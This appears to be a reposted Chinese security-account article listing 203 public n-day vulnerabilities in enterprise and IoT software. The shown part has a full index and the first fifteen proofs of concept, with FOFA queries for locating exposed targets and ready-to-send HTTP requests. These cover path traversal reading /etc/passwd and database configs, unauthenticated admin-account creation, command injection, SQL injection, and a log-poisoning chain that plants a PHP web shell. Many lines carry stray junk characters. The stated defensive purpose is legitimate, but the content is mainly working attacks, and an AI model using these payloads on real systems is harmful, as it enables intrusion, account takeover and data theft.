互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
' ]9 d0 B9 u* r7 x4 [道一安全 2024-06-05 07:41 北京
8 V% e, V: V5 J以下文章来源于网络安全新视界 ，作者网络安全新视界

2 r$ v8 l# \4 I发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。
* U: R% N) k+ z. y8 J
漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。
- b& l% W6 b# H  C0 F" K. ]4 u
安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。

文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。

5 \( S$ e$ X  l4 E合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。

  W, L" ~9 R) F7 x+ I# \
' P' _' v+ y- J: I声明

为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。

有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。
7 ]  Y3 d% A3 y8 R5 [$ S, M( z
+ Y3 \! |' Y  B' O* M

目录
4 r' m; m. W3 J( w( x
01

1 V% q8 J$ P# z" A& d  A& b1. StarRocks MPP数据库未授权访问
- y/ w" B; w8 Z3 m: I" q/ Q3 m2. Casdoor系统static任意文件读取
% x  L. `& W3 q2 C4 H1 }# c; W3. EasyCVR智能边缘网关 userlist 信息泄漏
4. EasyCVR视频管理平台存在任意用户添加
4 R& F( g7 z" Q7 u5. NUUO NVR 视频存储管理设备远程命令执行
; Q% p0 ]2 g! G" f6. 深信服 NGAF 任意文件读取
" ]- \0 Q. k5 n  w) E4 n  r/ q/ w7. 鸿运主动安全监控云平台任意文件下载
* M; @. n/ i- s' r" ]8. 斐讯 Phicomm 路由器RCE
& ^9 B) E/ c3 ^0 {5 L3 n# Q9. 稻壳CMS keyword 未授权SQL注入
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
" s2 j: A% a8 a4 ?11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
; M/ l' x+ t. ]0 N7 U0 b12. Jorani < 1.0.2 远程命令执行
13. 红帆iOffice ioFileDown任意文件读取
14. 华夏ERP（jshERP）敏感信息泄露
/ [1 \2 M. l- p* q6 K8 W15. 华夏ERP getAllList信息泄露
4 T/ X5 X  K% F% V% Z; }, s16. 红帆HFOffice医微云SQL注入
17. 大华 DSS itcBulletin SQL 注入
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
% X5 d& v, {. C8 Q) K& B19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
8 t# z1 W3 L- Q" G* n; y$ z0 }4 T1 y, t20. 大华ICC智能物联综合管理平台任意文件读取
21. 大华ICC智能物联综合管理平台random远程代码执行
4 e0 O) D2 L( z2 o. X; k" E% n22. 大华ICC智能物联综合管理平台 log4j远程代码执行
: k  @! x$ E3 _9 W23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
24. 用友NC 6.5 accept.jsp任意文件上传
5 h' j9 o/ s* _, k/ Y25. 用友NC registerServlet JNDI 远程代码执行
26. 用友NC linkVoucher SQL注入
3 ]! g% v7 |: \% e' P$ B27. 用友 NC showcontent SQL注入
! i9 K! i- `. U$ z! c8 V3 n# ~2 z9 y28. 用友NC grouptemplet 任意文件上传
% @6 v& b* E3 f" P29. 用友NC down/bill SQL注入
5 V# E! L0 A4 e, \% y30. 用友NC importPml SQL注入
3 |4 G. s+ V) P. d: n' x0 G8 i' M31. 用友NC runStateServlet SQL注入
. {& z+ Y" J! S. g- m' U1 `32. 用友NC complainbilldetail SQL注入
33. 用友NC downTax/download SQL注入
34. 用友NC warningDetailInfo接口SQL注入
35. 用友NC-Cloud importhttpscer任意文件上传
0 O! h# f# z" ^' v  J0 {1 }6 @; Z9 m36. 用友NC-Cloud soapFormat XXE
/ R2 M0 k) p* B37. 用友NC-Cloud IUpdateService XXE
, T5 b( R, ?9 |38. 用友U8 Cloud smartweb2.RPC.d XXE
39. 用友U8 Cloud RegisterServlet SQL注入
40. 用友U8-Cloud XChangeServlet XXE
* w8 ?+ F# F& `" C- Y! X; t; g41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
42. 用友GRP-U8 SmartUpload01 文件上传
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
' d+ \4 ]$ i  M3 U/ t7 _: B45. 用友GRP-U8 ufgovbank XXE
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
: v% i: X+ }- u5 a47. 用友GRP A++Cloud 政府财务云 任意文件读取
7 G8 y' c6 F. D6 P48. 用友U8 CRM swfupload 任意文件上传
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
6 G' N/ k; B0 K0 p50. QDocs Smart School 6.4.1 filterRecords SQL注入
% A+ C3 r8 `/ s51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
; _! m7 A* F8 w) T8 s52. 泛微E-Office json_common.php sql注入
53. 迪普 DPTech VPN Service 任意文件上传
: u5 t7 v9 ^2 m" S5 b54. 畅捷通T+ getstorewarehousebystore 远程代码执行
( q" R; n# J: q6 `1 c$ c% s! R55. 畅捷通T+ getdecallusers信息泄露
! q' }: x9 x. H5 {9 B56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
0 `' T% u- J0 t9 _6 [57. 畅捷通T+ keyEdit.aspx SQL注入
6 R0 _$ e4 l( Q7 k58. 畅捷通T+ KeyInfoList.aspx sql注入
/ M" _, h" w3 Q+ @' l6 o59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
60. 百卓Smart管理平台 importexport.php SQL注入
" |- C1 z5 B% D, @2 L4 n61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
62. IP-guard WebServer 远程命令执行
63. IP-guard WebServer任意文件读取
4 Y: y( P" h% k" v1 N6 t2 d64. 捷诚管理信息系统CWSFinanceCommon SQL注入
) F6 ?/ L9 X8 r) y8 Y65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
67. 万户ezOFFICE wpsservlet任意文件上传
  q1 f9 e0 r. l) D) i68. 万户ezOFFICE wf_printnum.jsp SQL注入
69. 万户 ezOFFICE contract_gd.jsp SQL注入
70. 万户ezEIP success 命令执行
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
5 D; N2 f7 t" W1 J9 I0 U72. 致远OA getAjaxDataServlet XXE
( t# @9 \6 x7 d; U* w, {  l% d73. GeoServer wms远程代码执行
/ |; V0 C$ W/ x1 G74. 致远M3-server 6_1sp1 反序列化RCE
  @. R- l0 V: u75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
76. 新开普掌上校园服务管理平台service.action远程命令执行
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
$ p3 P- q+ U. e: v* {7 t78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
$ L% T  q/ Q5 S+ j& Q! w" G- e79. BYTEVALUE 百为流控路由器远程命令执行
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
6 A  ^3 _2 P) |( d8 @82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
83. JeecgBoot testConnection 远程命令执行
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
& M& s' n8 j, \" g6 K$ y. W85. SysAid On-premise< 23.3.36远程代码执行
+ v& W; M, [  K: p$ z2 y86. 日本tosei自助洗衣机RCE
87. 安恒明御安全网关aaa_local_web_preview文件上传
3 [: Z/ O/ t, y  Q0 c" Z; R7 s. w88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
89. 致远互联FE协作办公平台editflow_manager存在sql注入
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
/ L6 h. ?2 a* ]" v92. 海康威视运行管理中心session命令执行
6 c; p. a9 B# J% u0 w+ b# v7 o7 i93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
0 }0 _: M" o  {3 r95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
# X5 S, \2 k- f; a1 h/ r; ~96. Apache OFBiz  18.12.11 groovy 远程代码执行
3 z5 V: t& N. z1 |( U97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
98. SpiderFlow爬虫平台远程命令执行
, ]2 o9 Q1 d: L' j' C$ U7 H5 q+ o99. Ncast盈可视高清智能录播系统busiFacade RCE
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
101. ivanti policy secure-22.6命令注入
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
. e8 p9 l3 p; V: j# V103. Ivanti Pulse Connect Secure VPN XXE
- _7 x/ n7 [& F104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
105. SpringBlade v3.2.0 export-user SQL 注入
6 v1 F# T. |6 |) o+ s2 ?106. SpringBlade dict-biz/list SQL 注入
4 z3 Q: @* t) l' n107. SpringBlade tenant/list SQL 注入
7 r; ?/ h) M) |$ ~1 x4 L5 ]0 r108. D-Tale 3.9.0 SSRF
109. Jenkins CLI 任意文件读取
110. Goanywhere MFT 未授权创建管理员
111. WordPress Plugin HTML5 Video Player SQL注入
112. WordPress Plugin NotificationX SQL 注入
113. WordPress Automatic 插件任意文件下载和SSRF
3 p  N+ \2 }$ M9 B0 y. }114. WordPress MasterStudy LMS插件 SQL注入
+ L0 N" Y/ J- F/ ^: \1 Y115. WordPress Bricks Builder <= 1.9.6 RCE
116. wordpress js-support-ticket文件上传
117. WordPress LayerSlider插件SQL注入
" V( f9 \1 I* S& _+ B118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
119. 北京百绰智能S20后台sysmanageajax.php sql注入
120. 北京百绰智能S40管理平台导入web.php任意文件上传
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
122. 北京百绰智能s200管理平台/importexport.php sql注入
" O4 s; X" h7 e" k4 ]0 |3 B123. Atlassian Confluence 模板注入代码执行
4 h% ~; B+ K3 c& R4 {3 {+ A4 `0 ^124. 湖南建研工程质量检测系统任意文件上传
5 k4 X0 E& A1 ?' U( K6 X7 C! G' \, J125. ConnectWise ScreenConnect身份验证绕过
$ E0 e/ s2 p. y126. Aiohttp 路径遍历
127. 广联达Linkworks DataExchange.ashx XXE
4 `9 l. C, M# \0 \128. Adobe ColdFusion 反序列化
129. Adobe ColdFusion 任意文件读取
7 ^3 c) e7 v* E3 D/ G% q& E! \3 m130. Laykefu客服系统任意文件上传
1 D7 E: e+ u/ k) R131. Mini-Tmall <=20231017 SQL注入
( ^  _% K" v# K/ p6 Y+ e& E$ `132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
133. H5 云商城 file.php 文件上传
134. 网康NS-ASG应用安全网关index.php sql注入
4 H2 {3 N1 ^# A7 m% A. Q0 o& F135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
, O# a8 ]! e( ~0 ]136. NextChat cors SSRF
! ~% l' L' Q$ p0 ~9 I) p137. 福建科立迅通信指挥调度平台down_file.php sql注入
* S. }- [5 v8 Y( R6 C138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
142. CMSV6车辆监控平台系统中存在弱密码
' N) s! `6 t1 t8 `143. Netis WF2780 v2.1.40144 远程命令执行
144. D-Link nas_sharing.cgi 命令注入
4 U0 u. G/ |/ Q6 F' n145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
146. MajorDoMo thumb.php 未授权远程代码执行
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
148. CrushFTP 认证绕过模板注入
149. AJ-Report开源数据大屏存在远程命令执行
$ x3 N3 L# F6 F. r+ e! ^150. AJ-Report 1.4.0 认证绕过与远程代码执行
7 p3 R) x# {1 T- q2 l9 B8 J151. AJ-Report 1.4.1 pageList sql注入
152. Progress Kemp LoadMaster 远程命令执行
153. gradio任意文件读取
( Q1 J" q: g7 ^  t% Z& p* a154. 天维尔消防救援作战调度平台 SQL注入
155. 六零导航页 file.php 任意文件上传
156. TBK DVR-4104/DVR-4216 操作系统命令注入
: b1 r: L) i. V7 y157. 美特CRM upload.jsp 任意文件上传
+ r( T. l: T- D- J! e158. Mura-CMS-processAsyncObject存在SQL注入
  q# {8 `# _/ E8 U" Q8 k159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
0 Y- h; q' q. B160. Sonatype Nexus Repository 3目录遍历与文件读取
9 ?; K) N7 h/ J5 O161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
) R+ C1 `! N( C9 B) C! G) i8 c162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
165. OrangeHRM 3.3.3 SQL 注入
4 m' o1 q* N, y1 v2 Y0 L3 J166. 中成科信票务管理平台SeatMapHandler SQL注入
' U. z& k1 Y! J" b167. 精益价值管理系统 DownLoad.aspx任意文件读取
$ p/ H, o) j$ e9 c2 z168. 宏景EHR OutputCode 任意文件读取
169. 宏景EHR downlawbase SQL注入
8 Q$ B7 i1 ~0 N" A( z- m170. 宏景EHR DisplayExcelCustomReport 任意文件读取
171. 通天星CMSV6车载定位监控平台 SQL注入
172. DT-高清车牌识别摄像机任意文件读取
173. Check Point 安全网关任意文件读取
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
; K* \4 n$ M8 d8 i, b* D176. 电信网关配置管理系统 rewrite.php 文件上传
177. H3C路由器敏感信息泄露
  L! @, i3 B! m2 l+ E178. H3C校园网自助服务系统-flexfileupload-任意文件上传
179. 建文工程管理系统存在任意文件读取
180. 帮管客 CRM jiliyu SQL注入
9 }, w2 N8 s$ _% i* k8 P/ }, ?181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
* L2 x8 N2 G9 d* {3 [182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
/ j; |, {4 I3 T% n& Y184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
. A5 |3 J) v/ A+ {* I8 v185. 瑞友天翼应用虚拟化系统SQL注入
186. F-logic DataCube3 SQL注入
187. Mura CMS processAsyncObject SQL注入
188. 叁体-佳会视频会议 attachment 任意文件读取
) B5 p2 J# ~& w# y189. 蓝网科技临床浏览系统 deleteStudy SQL注入
3 [. t) _% y. x/ ?1 B& T  Z1 d190. 短视频矩阵营销系统 poihuoqu 任意文件读取
$ |& S% a$ S6 o7 h* B191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
1 J6 D+ |% r  a0 M1 Q9 W194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
7 B! g. v( F5 s  f7 a% T195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
196. 河南省风速科技统一认证平台密码重置
% G. q* {6 U* m. L3 L/ n* t. A197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
198.  阿里云盘 WebDAV 命令注入
. Y9 v2 {" J& B0 n% x  R199. cockpit系统assetsmanager_upload接口 文件上传
200. SeaCMS海洋影视管理系统dmku SQL注入
201. 方正全媒体新闻采编系统 binary SQL注入
* C% p) {9 `" T7 U0 i3 t7 Y202. 微擎系统 AccountEdit任意文件上传
( k  n0 U! ]: d" m, ~3 X: [203. 红海云EHR PtFjk 文件上传

POC列表

02

2 L3 |: Z* T) q8 M1. StarRocks MPP数据库未授权访问
5 j, p# P9 D/ ^8 xFOFA ：title="StarRocks"
2 O: B! Y$ g5 ?/ `! L: `GET /mem_tracker HTTP/1.1
Host: URL
8 [; p' ^4 e( X+ h
+ w9 V  m; l- K  U! m# `
5 P% i/ r3 y7 I( _7 w2. Casdoor系统static任意文件读取
5 b8 i8 L5 |* F% Q4 ~5 z2 PFOFA ：title="Casdoor"
GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
Host: xx.xx.xx.xx:9999
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
5 L6 r# a: A8 w1 M" C4 zConnection: close
6 F8 @) H" K! u! aAccept: */*
. S0 f0 O$ I  u7 d' N( MAccept-Language: en
# y6 I: s4 X  ^& Y) @4 VAccept-Encoding: gzip

. z. L" [! }) V
- U* U% D. O. b4 D7 ]$ b3. EasyCVR智能边缘网关 userlist 信息泄漏
7 [6 c7 W+ j' i  x* t/ BFOFA ：title="EasyCVR"
GET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
Host: xx.xx.xx.xx
" B2 w# }* g7 Q

* t0 X( I: I+ x8 S5 y5 s4. EasyCVR视频管理平台存在任意用户添加
FOFA ：title="EasyCVR"
5 h# h) {. K- K- y9 V* x
4 m/ Y( [) F( @; j9 q5 E3 [password更改为自己的密码md5
POST /api/v1/adduser HTTP/1.1
, }  P* s1 W* V" U8 `7 V/ O# eHost: your-ip
; [* F4 _5 x& m8 l8 s* p) DContent-Type: application/x-www-form-urlencoded; charset=UTF-8
2 J: K3 w. J2 D  c( g! W, v7 F2 ~
" Y1 Q8 u/ ]/ K9 w. C3 `name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1


& ~& Y% K5 z# m2 x/ Z# o; t+ L5. NUUO NVR 视频存储管理设备远程命令执行
8 G, ~4 p% ~* A# m# H! ^3 IFOFA：title="Network Video Recorder Login"
GET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
Host: xx.xx.xx.xx
+ J, G/ b6 Y# K4 S

) x8 i, `' v1 V; e. X6. 深信服 NGAF 任意文件读取
FOFA：title="SANGFOR | NGAF"
GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
Host:


& ^/ v( p6 z: @6 O, S  R( c- n7. 鸿运主动安全监控云平台任意文件下载
/ B4 n" n" q* U$ R; IFOFA：body="./open/webApi.html"
* H) f; J( C+ d' ]GET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
Host:
8 |; V0 P$ y+ o# I: y

8. 斐讯 Phicomm 路由器RCE
FOFA：icon_hash="-1344736688"
默认账号admin登录后台后，执行操作
# \! }1 o2 w$ X0 E- H: `5 kPOST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
Host: x.x.x.x
Cookie: sysauth=第一步登录获取的cookie
) N: F1 S$ `* L) l" q9 _Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36

------WebKitFormBoundaryxbgjoytz
- J. ?+ C% Y$ q. h+ zContent-Disposition: form-data; name="wifiRebootEnablestatus"
6 t( r4 S5 r+ V) t! B
%s
------WebKitFormBoundaryxbgjoytz
- _, b" i! l3 r+ H4 Q0 X( RContent-Disposition: form-data; name="wifiRebootrange"

: i& ^9 K. @% T2 I# V12:00; id;
# h5 C4 d+ ]" W------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootendrange"
: ?6 a( Q2 Y: I6 u; y6 Y  x2 L# P
3 ^7 X( S2 M, e/ V%s:
0 D/ l5 z4 N! O' K------WebKitFormBoundaryxbgjoytz
) e. r# d: ~4 {/ \& N0 f2 ^Content-Disposition: form-data; name="cururl2"
' f9 x3 W0 u& `7 s% J3 w% r/ q

/ B  d5 j6 E7 B5 w% g9 \  k. u4 D------WebKitFormBoundaryxbgjoytz--

: }7 p9 n) C! j2 K) y$ V
9. 稻壳CMS keyword 未授权SQL注入
1 |: M8 P) q" f' s  j; A' iFOFA：app="Doccms"
2 _" j8 [" _1 b' aGET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
9 v5 Q+ J+ h' Y3 R8 nHost: x.x.x.x


payload为下列语句的二次Url编码
4 i, j; r' y8 S$ \- W  K8 j
9 I# b$ e9 c4 o' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#

10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
FOFA：icon_hash="953405444"

$ Y" d$ M- ~2 `) N  [5 ]$ y. T文件上传后响应中包含上传文件的路径
POST /eis/service/api.aspx?action=saveImg HTTP/1.1
4 B0 Z: H) @* ^$ {; KHost: x.x.x.x:xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
& e; v6 ~2 _) ~" w9 @3 hContent-Length: 197
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
0 n5 b$ r0 D& r5 kAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
2 v  E3 q7 i2 }7 MContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu

------WebKitFormBoundaryxdgaqmqu
+ u. ]% N& M1 \/ r8 k$ v& r2 SContent-Disposition: form-data; name="file"filename="icfitnya.txt"
Content-Type: text/html

jmnqjfdsupxgfidopeixbgsxbf
------WebKitFormBoundaryxdgaqmqu--


11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
FOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
GET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
1 x1 D3 Q6 ]6 j( v: g  nHost: 127.0.0.1
Pragma: no-cache
& r# V0 c3 \$ n+ |+ c3 rCache-Control: no-cache
! E! q) D: w( f& q. |Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
- f) {: t5 g6 [9 ?( @$ eAccept-Encoding: gzip, deflate
* n. a, P5 T# y6 rAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
5 r) y$ a% ]( v$ A+ @  e8 o
5 o& ]/ s2 t& p# j: m3 m  G+ a  A
12. Jorani < 1.0.2 远程命令执行
5 n/ Y" G# I9 b8 `6 \# aFOFA：title="Jorani"
7 B* s9 e' F/ ~; E第一步先拿到cookie
) t  j" m* ]! z8 R; IGET /session/login HTTP/1.1
3 K: T$ m% _& i/ U( pHost: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
% M( a+ g+ r! a! m% H. m9 `6 NConnection: close
7 P) }6 J4 R# {3 p, q2 K* iAccept-Encoding: gzip
: J. r" B, ], M9 b, ~, Q+ ?5 c
" h& M0 u+ m. ]5 e3 s
9 K4 h3 N* m! ]响应中csrf_cookie_jorani用于后续请求
' e0 q* R5 z4 K/ v% d! F7 B. |, q/ EHTTP/1.1 200 OK
Connection: close
Cache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html; charset=UTF-8
4 \( y" V/ {: \( }5 k* aDate: Tue, 24 Oct 2023 09:34:28 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
) }. Q& |* k+ TLast-Modified: Tue, 24 Oct 2023 09:34:28 GMT
# H- U0 P3 ?& G9 m; yPragma: no-cache
8 I; X9 r0 H+ P/ a+ C2 NServer: Apache/2.4.54 (Debian)
9 a9 ]; y' w& M2 f5 HSet-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
  f3 ]* e1 P. f6 E$ U- F: E6 m  pSet-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
. v; H! Q' [& w  s% YVary: Accept-Encoding
$ b  F8 F4 B. ?. ^

POST请求，执行函数并进行base64编码
# a& p4 ?1 w. j% NPOST /session/login HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 252
Content-Type: application/x-www-form-urlencoded
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
Accept-Encoding: gzip
/ M- V; Y# B0 H5 K- M' v
csrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor

5 S/ X- H& C2 {& t2 M
; G' u, t! h& ?  ^" O, P
向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
4 Q# z; v* q% F1 ^! p8 h' eGET /pages/view/log-2023-10-24 HTTP/1.1
  C/ v8 i& F8 t1 RHost: 192.168.190.30
6 B$ U, v% w8 WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
4 w: }2 f$ p$ O8 A& ^9 s! X2 }1 jConnection: close
+ z  w/ l3 a: P5 Q+ i* b5 g" |/ ACookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
K1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
X-REQUESTED-WITH: XMLHttpRequest
# a  ^( R' q6 H* M0 r. Z+ FAccept-Encoding: gzip
/ y8 k! o) [1 r# e
6 f8 U! }# @+ {
& c  z: t2 ~: O* j: s  E13. 红帆iOffice ioFileDown任意文件读取
FOFA：app="红帆-ioffice"
GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
$ V# M2 m" F' q) U8 V  T$ P8 WHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Accept: */*
Accept-Encoding: gzip


  P8 e4 X" o- {0 s5 E7 P0 n' n14. 华夏ERP（jshERP）敏感信息泄露
FOFA：body="jshERP-boot"
泄露内容包括用户名密码
" C' x7 \' y2 q5 T8 tGET /jshERP-boot/user/getAllList;.ico HTTP/1.1
. A9 M# B4 v, `: HHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
2 m; Y7 m; T( \: N+ \Connection: close
Accept: */*
Accept-Language: en
- f6 T2 g, c, H( I$ [" Z  S8 nAccept-Encoding: gzip
  G4 M+ r0 s) J( v) a
9 v& Z- I3 W# Q  D. s8 [
; k- y2 c1 _6 u1 u/ r  N15. 华夏ERP getAllList信息泄露
( o6 w& `- o8 X5 e; v0 p' V7 tCVE-2024-0490
FOFA：body="jshERP-boot"
4 M; W0 F- y8 T8 }# S0 C泄露内容包括用户名密码
GET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
9 ]) h" A, ^7 X: b2 ^2 _, [Host: 192.168.40.130:100
' b1 l( i0 j/ A7 RUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
$ b% ^5 [1 Y, J" y+ TAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
* S5 r3 _8 \9 w" s# Y% r5 m; S- RAccept-Language: en
* f& a! n: t  H' D7 o. Rsec-ch-ua-platform: Windows
